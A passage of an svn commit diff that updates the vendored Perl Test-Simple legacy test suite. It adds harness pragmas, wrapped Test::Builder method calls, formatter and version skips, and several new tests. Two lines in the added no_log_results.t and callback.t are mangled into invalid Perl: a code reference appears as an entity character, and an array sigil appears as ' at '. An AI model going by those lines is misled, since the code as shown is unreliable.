+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_ending.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_ending.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_ending.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 use Test::Builder;
+# HARNESS-NO-STREAM
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/reset.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/reset.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/reset.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
 
 # Test Test::Builder->reset;
 

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/637.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/637.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/637.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,6 @@
 use strict;
 use warnings;
+# HARNESS-NO-STREAM
 
 use Test2::Util qw/CAN_THREAD/;
 BEGIN {
@@ -20,6 +21,9 @@
 use threads;
 use Test::More;
 
+plan 'skip_all' => "This test cannot be run with the current formatter"
+    unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter');
+
 ok 1 for (1 .. 2);
 
 # used to reset the counter after thread finishes
@@ -46,7 +50,7 @@
 }
 ->join;
 
-$subtest_out =~ s/^/   /gm;
+$subtest_out =~ s/^/    /gm;
 print $subtest_out;
 
 # reset as if the thread never "said" anything

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,13 +18,19 @@
     return $warn || "";
 }
 
+{
+local $TODO = "known to fail on $]" if $] le "5.006002";
 my $file = __FILE__;
-my $line = __LINE__ + 2;
+my $line = __LINE__ + 4;
 like(
-    capture { use_ok 'MyWarner' },
+    capture {
+        local $TODO; # localize $TODO to clear previous assignment, as following use_ok test is expected to pass
+        use_ok 'MyWarner';
+    },
     qr/^Deprected! run for your lives! at \Q$file\E line $line/,
     "Got the warning"
 );
+}
 
 ok(!capture { no warnings 'deprecated'; use_ok 'MyWarner' }, "No warning");
 

Added: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,38 @@
+use Test::More;
+use strict;
+use warnings;
+# HARNESS-NO-STREAM
+
+# See https://github.com/Test-More/test-more/issues/789
+
+BEGIN {
+    plan skip_all => 'AUTHOR_TESTING not enabled'
+        unless $ENV{AUTHOR_TESTING};
+
+    plan skip_all => "This test requires Test::Class"
+        unless eval { require Test::Class; 1 };
+
+    plan skip_all => "This test requires Test::Script"
+        unless eval { require Test::Script; 1 };
+}
+
+package Test;
+
+use base 'Test::Class';
+
+use Test::More;
+use Test::Script;
+
+sub a_compilation_test : Test(startup => 1) {
+    script_compiles(__FILE__);
+}
+
+sub test : Test(1) {
+    ok(1);
+}
+
+package main;
+
+use Test::Class;
+
+Test::Class->runtests;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/env perl
+# HARNESS-NO-STREAM
 
 use strict;
 use warnings;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,6 +9,8 @@
 use File::Spec qw();
 
 my $file = File::Spec->join(dirname(__FILE__), 'tbt_09do_script.pl');
+$file = File::Spec->catfile(File::Spec->curdir(), $file)
+    unless File::Spec->file_name_is_absolute($file);
 my $done = do $file;
 ok(defined($done), 'do succeeded') or do {
     if ($@) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/bail_out.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/bail_out.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/bail_out.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/buffer.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/buffer.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/buffer.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl
+# HARNESS-NO-STREAM
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/c_flag.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/c_flag.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/c_flag.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 # Test::More should not print anything when Perl is only doing
 # a compile as with the -c flag or B::Deparse or perlcc.

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/check_tests.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/check_tests.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/check_tests.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use Data::Dumper qw(Dumper);
 
 my $test = Test::Builder->new;
-$test->plan(tests => 105);
+$test->plan(tests => 139);
 
 my $cap;
 
@@ -95,6 +95,34 @@
 			depth => 0,
 		},
 	],
+    [
+        'pass diag qr',
+        '$cap->ok(1, "pass diag qr");
+        $cap->diag("pass diag qr");',
+        {
+            name => "pass diag qr",
+            ok => 1,
+            actual_ok => 1,
+            reason => "",
+            type => "",
+            diag => qr/pass diag qr/,
+            depth => 0,
+        },
+    ],
+    [
+        'fail diag qr',
+        '$cap->ok(0, "fail diag qr");
+        $cap->diag("fail diag qr");',
+        {
+            name => "fail diag qr",
+            ok => 0,
+            actual_ok => 0,
+            reason => "",
+            type => "",
+            diag => qr/fail diag qr/,
+            depth => 0,
+        },
+    ],
 );
 
 my $big_code = "";

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/died.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/died.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/died.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/exit.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/exit.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/exit.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
 
 # Can't use Test.pm, that's a 5.005 thing.
 package My::Test;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,13 +16,18 @@
 use Test::Builder::NoOutput;
 use Test::Simple;
 
+# TB methods expect to be wrapped
+my $ok           = sub { shift->ok(@_) };
+my $plan         = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
 my $TB   = Test::Builder->new;
 my $test = Test::Builder::NoOutput->create;
-$test->plan( tests => 3 );
+$test->$plan( tests => 3 );
 
 local $ENV{HARNESS_ACTIVE} = 0;
 
-$test->ok(1, 'Foo');
+$test->$ok(1, 'Foo');
 $TB->is_eq($test->read(), <<END);
 1..3
 ok 1 - Foo
@@ -29,7 +34,7 @@
 END
 
 #line 30
-$test->ok(0, 'Bar');
+$test->$ok(0, 'Bar');
 $TB->is_eq($test->read(), <<END);
 not ok 2 - Bar
 #   Failed test 'Bar'
@@ -36,8 +41,8 @@
 #   at $0 line 30.
 END
 
-$test->ok(1, 'Yar');
-$test->ok(1, 'Car');
+$test->$ok(1, 'Yar');
+$test->$ok(1, 'Car');
 $TB->is_eq($test->read(), <<END);
 ok 3 - Yar
 ok 4 - Car
@@ -44,7 +49,7 @@
 END
 
 #line 45
-$test->ok(0, 'Sar');
+$test->$ok(0, 'Sar');
 $TB->is_eq($test->read(), <<END);
 not ok 5 - Sar
 #   Failed test 'Sar'
@@ -57,4 +62,4 @@
 # Looks like you failed 2 tests of 5 run.
 END
 
-$TB->done_testing(5);
+$TB->$done_testing(5);

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra_one.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra_one.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra_one.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-like.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-like.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-like.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {
@@ -25,12 +27,10 @@
 my $TB = Test::Builder->create;
 $TB->plan(tests => 4);
 
-
 require Test::Simple::Catch;
 my($out, $err) = Test::Simple::Catch::caught();
 local $ENV{HARNESS_ACTIVE} = 0;
 
-
 package main;
 
 require Test::More;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-more.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-more.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-more.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,19 +20,24 @@
 use Test::Builder;
 use Test::Builder::NoOutput;
 
+# TB methods expect to be wrapped
+my $ok           = sub { shift->ok(@_) };
+my $plan         = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
 my $Test = Test::Builder->new;
 
 # Set up a builder to record some failing tests.
 {
     my $tb = Test::Builder::NoOutput->create;
-    $tb->plan( tests => 5 );
+    $tb->$plan( tests => 5 );
 
 #line 28
-    $tb->ok( 1, 'passing' );
-    $tb->ok( 2, 'passing still' );
-    $tb->ok( 3, 'still passing' );
-    $tb->ok( 0, 'oh no!' );
-    $tb->ok( 0, 'damnit' );
+    $tb->$ok( 1, 'passing' );
+    $tb->$ok( 2, 'passing still' );
+    $tb->$ok( 3, 'still passing' );
+    $tb->$ok( 0, 'oh no!' );
+    $tb->$ok( 0, 'damnit' );
     $tb->_ending;
 
     $Test->is_eq($tb->read('out'), <<OUT);
@@ -52,5 +57,5 @@
 # Looks like you failed 2 tests of 5.
 ERR
 
-    $Test->done_testing(2);
+    $Test->$done_testing(2);
 }

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail_one.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail_one.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail_one.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,15 +18,20 @@
 use Test::Builder;
 use Test::Builder::NoOutput;
 
+# TB methods expect to be wrapped
+my $ok           = sub { shift->ok(@_) };
+my $plan         = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
 my $Test = Test::Builder->new;
 
 {
     my $tb = Test::Builder::NoOutput->create;
 
-    $tb->plan( tests => 1 );
+    $tb->$plan( tests => 1 );
 
 #line 28
-    $tb->ok(0);
+    $tb->$ok(0);
     $tb->_ending;
 
     $Test->is_eq($tb->read('out'), <<OUT);
@@ -39,5 +44,5 @@
 # Looks like you failed 1 test of 1.
 ERR
 
-    $Test->done_testing(2);
+    $Test->$done_testing(2);
 }

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/harness_active.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/harness_active.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/harness_active.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -47,6 +47,7 @@
 
 {
     local $ENV{HARNESS_ACTIVE} = 0;
+    local $ENV{HARNESS_IS_VERBOSE} = 0;
 
 #line 62
     fail( "this fails" );
@@ -66,6 +67,7 @@
 
 {
     local $ENV{HARNESS_ACTIVE} = 1;
+    local $ENV{HARNESS_IS_VERBOSE} = 0;
                    
 #line 71
     fail( "this fails" );

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/missing.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/missing.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/missing.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
+# HARNESS-NO-STREAM
 # HARNESS-NO-PRELOAD
+
 BEGIN {
     if( $ENV{PERL_CORE} ) {
         chdir 't';

Added: vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_log_results.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_log_results.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_log_results.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,19 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+sub it {
+    my $tb = Test::Builder->new;
+    $tb->no_log_results;
+
+    ok(1, "sample");
+    ok(2, "sample");
+
+    is_deeply([$tb->details], [], "no details were logged");
+}
+
+it();
+subtest it => \⁢
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_plan.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_plan.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_plan.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,12 +14,17 @@
 
 my $tb = Test::Builder->create;
 
+# TB methods expect to be wrapped
+my $ok           = sub { shift->ok(@_) };
+my $plan         = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
 #line 20
-ok !eval { $tb->plan(tests => undef) };
+ok !eval { $tb->$plan(tests => undef) };
 is($@, "Got an undefined number of tests at $0 line 20.\n");
 
 #line 24
-ok !eval { $tb->plan(tests => 0) };
+ok !eval { $tb->$plan(tests => 0) };
 is($@, "You said to run 0 tests at $0 line 24.\n");
 
 {
@@ -27,7 +32,7 @@
     local $SIG{__WARN__} = sub { $warning .= join '', @_ };
 
 #line 31
-    ok $tb->plan(no_plan => 1);
+    ok $tb->$plan(no_plan => 1);
     is( $warning, "no_plan takes no arguments at $0 line 31.\n" );
     is $tb->has_plan, 'no_plan';
 }

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_tests.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_tests.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_tests.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/overload_threads.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/overload_threads.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/overload_threads.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,9 +18,13 @@
     eval { require threads; 'threads'->import; 1; } if CAN_THREAD;
 }
 
-use Test::More tests => 5;
+use Test::More;
 
+plan skip_all => "known to crash on $]" if $] le "5.006002";
 
+plan tests => 5;
+
+
 package Overloaded;
 
 use overload

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/skip.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/skip.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/skip.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!perl -w
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {
@@ -42,7 +43,6 @@
     is( $line || '', '',      '  or line' );
 }
 
-
 SKIP: {
     skip $Why, 2 if 1;
 

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/bail_out.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/bail_out.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/bail_out.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {
@@ -10,14 +12,20 @@
     }
 }
 
+my $goto = 0;
 my $Exit_Code;
 BEGIN {
-    *CORE::GLOBAL::exit = sub { $Exit_Code = shift; goto XXX};
+    *CORE::GLOBAL::exit = sub { $Exit_Code = shift; goto XXX if $goto; CORE::exit($Exit_Code)};
 }
 
 use Test::Builder;
 use Test::More;
 
+my $skip = ref(Test::Builder->new->{Stack}->top->format) ne 'Test::Builder::Formatter';
+plan skip_all => "This test cannot be run with the current formatter"
+    if $skip;
+
+$goto = 1;
 my $output;
 my $TB = Test::More->builder;
 $TB->output(\$output);

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/basic.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/basic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/basic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,6 +17,12 @@
 
 use Test::More tests => 12;
 
+# TB Methods expect to be wrapped.
+my $ok   = sub { shift->ok(@_) };
+my $plan = sub { shift->plan(@_) };
+my $diag = sub { shift->diag(@_) };
+my $finalize = sub { shift->finalize(@_) };
+
 # Formatting may change if we're running under Test::Harness.
 $ENV{HARNESS_ACTIVE} = 0;
 
@@ -23,21 +29,21 @@
 {
     my $tb = Test::Builder::NoOutput->create;
 
-    $tb->plan( tests => 7 );
+    $tb->$plan( tests => 7 );
     for( 1 .. 3 ) {
-        $tb->ok( $_, "We're on $_" );
-        $tb->diag("We ran $_");
+        $tb->$ok( $_, "We're on $_" );
+        $tb->$diag("We ran $_");
     }
     {
         my $indented = $tb->child;
-        $indented->plan('no_plan');
-        $indented->ok( 1, "We're on 1" );
-        $indented->ok( 1, "We're on 2" );
-        $indented->ok( 1, "We're on 3" );
-        $indented->finalize;
+        $indented->$plan('no_plan');
+        $indented->$ok( 1, "We're on 1" );
+        $indented->$ok( 1, "We're on 2" );
+        $indented->$ok( 1, "We're on 3" );
+        $indented->$finalize;
     }
     for( 7, 8, 9 ) {
-        $tb->ok( $_, "We're on $_" );
+        $tb->$ok( $_, "We're on $_" );
     }
 
     is $tb->read, <<"END", 'Output should nest properly';
@@ -61,27 +67,27 @@
 {
     my $tb = Test::Builder::NoOutput->create;
 
-    $tb->plan('no_plan');
+    $tb->$plan('no_plan');
     for( 1 .. 1 ) {
-        $tb->ok( $_, "We're on $_" );
-        $tb->diag("We ran $_");
+        $tb->$ok( $_, "We're on $_" );
+        $tb->$diag("We ran $_");
     }
     {
         my $indented = $tb->child;
-        $indented->plan('no_plan');
-        $indented->ok( 1, "We're on 1" );
+        $indented->$plan('no_plan');
+        $indented->$ok( 1, "We're on 1" );
         {
             my $indented2 = $indented->child('with name');
-            $indented2->plan( tests => 2 );
-            $indented2->ok( 1, "We're on 2.1" );
-            $indented2->ok( 1, "We're on 2.1" );
-            $indented2->finalize;
+            $indented2->$plan( tests => 2 );
+            $indented2->$ok( 1, "We're on 2.1" );
+            $indented2->$ok( 1, "We're on 2.1" );
+            $indented2->$finalize;
         }
-        $indented->ok( 1, 'after child' );
-        $indented->finalize;
+        $indented->$ok( 1, 'after child' );
+        $indented->$finalize;
     }
     for(7) {
-        $tb->ok( $_, "We're on $_" );
+        $tb->$ok( $_, "We're on $_" );
     }
 
     $tb->_ending;
@@ -107,20 +113,20 @@
 
     {
         my $child = $tb->child('expected to fail');
-        $child->plan( tests => 3 );
-        $child->ok(1);
-        $child->ok(0);
-        $child->ok(3);
-        $child->finalize;
+        $child->$plan( tests => 3 );
+        $child->$ok(1);
+        $child->$ok(0);
+        $child->$ok(3);
+        $child->$finalize;
     }
 
     {
         my $child = $tb->child('expected to pass');
-        $child->plan( tests => 3 );
-        $child->ok(1);
-        $child->ok(2);
-        $child->ok(3);
-        $child->finalize;
+        $child->$plan( tests => 3 );
+        $child->$ok(1);
+        $child->$ok(2);
+        $child->$ok(3);
+        $child->$finalize;
     }
     is $tb->read, <<"END", 'Previous child failures should not force subsequent failures';
     1..3
@@ -144,7 +150,7 @@
     my $child = $tb->child('one');
     is $child->{$_}, $tb->{$_}, "The child should copy the ($_) filehandle"
         foreach qw{Out_FH Todo_FH Fail_FH};
-    $child->finalize;
+    $child->$finalize;
 }
 {
     my $tb    = Test::Builder::NoOutput->create;
@@ -153,9 +159,9 @@
 
     can_ok $tb, 'name';
     is $child->name, 'one', '... but child names should be whatever we set them to';
-    $child->finalize;
+    $child->$finalize;
     $child = $tb->child;
-    $child->finalize;
+    $child->$finalize;
 }
 # Skip all subtests
 {
@@ -163,7 +169,7 @@
 
     {
         my $child = $tb->child('skippy says he loves you');
-        eval { $child->plan( skip_all => 'cuz I said so' ) };
+        eval { $child->$plan( skip_all => 'cuz I said so' ) };
     }
     subtest 'skip all', sub {
         plan skip_all => 'subtest with skip_all';
@@ -175,13 +181,13 @@
 {
 #line 204
     my $tb = Test::Builder::NoOutput->create;
-    $tb->plan( tests => 1 );
+    $tb->$plan( tests => 1 );
     my $child = $tb->child;
-    $child->plan( tests => 1 );
+    $child->$plan( tests => 1 );
     $child->todo_start( 'message' );
-    $child->ok( 0 );
+    $child->$ok( 0 );
     $child->todo_end;
-    $child->finalize;
+    $child->$finalize;
     $tb->_ending;
     is $tb->read, <<"END", 'TODO tests should not make the parent test fail';
 1..1
@@ -193,9 +199,9 @@
 }
 {
     my $tb = Test::Builder::NoOutput->create;
-    $tb->plan( tests => 1 );
+    $tb->$plan( tests => 1 );
     my $child = $tb->child;
-    $child->finalize;
+    $child->$finalize;
     $tb->_ending;
     my $expected = <<"END";
 1..1

Added: vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/callback.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/callback.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/callback.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,53 @@
+#!/usr/bin/perl -w
+
+# What happens when a subtest dies?
+
+use lib 't/lib';
+
+use strict;
+use Test::More;
+use Test::Builder;
+use Test2::API;
+
+my $Test = Test::Builder->new;
+
+my $step = 0;
+my @callback_calls = ();
+Test2::API::test2_add_callback_pre_subtest(
+    sub {
+        $Test->is_num(
+            $step,
+            0,
+            'pre-subtest callbacks should be invoked before the subtest',
+        );
+        ++$step;
+        push @callback_calls, [@_];
+    },
+);
+
+$Test->subtest(
+    (my $subtest_name='some subtest'),
+    (my $subtest_code=sub {
+         $Test->is_num(
+             $step,
+             1,
+             'subtest should be run after the pre-subtest callbacks',
+         );
+         ++$step;
+     }),
+    (my @subtest_args = (1,2,3)),
+);
+
+is_deeply(
+    \@callback_calls,
+    [[$subtest_name,$subtest_code, at subtest_args]],
+    'pre-subtest callbacks should be invoked with the expected arguments',
+);
+
+$Test->is_num(
+    $step,
+    2,
+    'the subtest should be run',
+);
+
+$Test->done_testing();

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/do.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/do.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/do.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 
 pass("First");
 
-my $file = "t/Legacy/subtest/for_do_t.test";
+my $file = "./t/Legacy/subtest/for_do_t.test";
 ok -e $file, "subtest test file exists";
 
 subtest $file => sub { do $file };

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/events.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/events.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/events.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 isa_ok($st, 'Test2::Event::Subtest');
 ok(my $id = $st->subtest_id, "got an id");
 for my $se (@{$st->subevents}) {
-    is($se->in_subtest, $id, "set subtest_id on child event");
+    is($se->trace->hid, $id, "set subtest_id on child event");
 }
 
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/fork.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/fork.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/fork.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,8 @@
 #!/usr/bin/perl -w
 use strict;
 use warnings;
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 use Test2::Util qw/CAN_FORK/;
 BEGIN {
@@ -14,6 +16,9 @@
 use Test::Builder;
 use Test::More;
 
+plan 'skip_all' => "This test cannot be run with the current formatter"
+    unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter');
+
 plan 'tests' => 1;
 
 subtest 'fork within subtest' => sub {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/undef.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/undef.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/undef.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-FORK
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {
@@ -78,15 +79,20 @@
 
 my $tb = Test::More->builder;
 
-my $err = '';
-$tb->failure_output(\$err);
-diag(undef);
-$tb->reset_outputs;
+SKIP: {
+    skip("Test cannot be run with this formatter", 2)
